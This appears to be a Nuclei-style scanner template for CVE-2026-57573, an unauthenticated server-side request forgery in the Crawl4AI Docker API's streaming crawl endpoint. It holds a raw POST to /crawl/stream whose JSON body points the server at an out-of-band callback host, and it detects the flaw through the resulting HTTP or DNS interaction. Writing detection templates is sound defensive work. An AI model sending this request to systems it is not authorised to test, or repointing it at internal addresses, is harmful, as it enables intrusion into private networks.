id: CVE-2026-57573

info:
  name: "Crawl4AI - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Crawl4AI before 0.9.0 ships a Docker API server that applies its SSRF destination check only on the
    non-streaming crawl path. The streaming handler handle_stream_crawl_request passes the seed URLs straight
    to the crawler without destination validation, so a remote unauthenticated client can POST /crawl/stream
    (or POST /crawl with crawler_config.stream=true) with a URL pointing at an internal, private or link-local
    address and the server will fetch it and stream the response body back, enabling server-side request forgery.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-57573&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=crawl4ai&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L
    cvss-score: 9.3
    cve-id: CVE-2026-57573
    cwe-id: CWE-918
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,crawl4ai,ssrf,oast,unauth,intrusive

http:
  - raw:
      - |
        POST /crawl/stream HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"urls": ["http://{{interactsh-url}}"]}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"